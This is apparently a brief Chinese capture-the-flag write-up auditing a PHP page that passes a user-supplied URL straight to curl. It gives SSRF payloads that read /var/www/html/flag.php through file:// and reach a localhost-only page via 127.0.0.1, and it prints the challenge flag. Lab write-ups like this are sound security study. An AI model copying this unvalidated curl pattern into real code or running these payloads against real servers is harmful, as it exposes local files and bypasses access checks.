代码审计
<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];//初始化$ch=curl_init($url);//设置属性curl_setopt($ch, CURLOPT_HEADER, 0);//将curl_exec()获取的信息以字符串返回,而不是直接输出。curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//执行结果$result=curl_exec($ch);//关闭url请求curl_close($ch);echo ($result);?>
这里利用
ssrf读取下本机文件看看#POST提交 url=file:///var/www/html/flag.php
后面还有一串,看看代码
```php <?php
$flag=”ctfshow{79220bfb-81a6-4090-b4ed-dc37d008f066}”; if($_SERVER[‘REMOTE_ADDR’]==’127.0.0.1’) //判断当前浏览的用户的IP地址是否等于127.0.0.1 { echo $flag; } else{ die(“非本地用户禁止访问”); } ?>
4. 那么我们还可以这样直接请求
```shell
#POST请求
url=127.0.0.1/flag.php
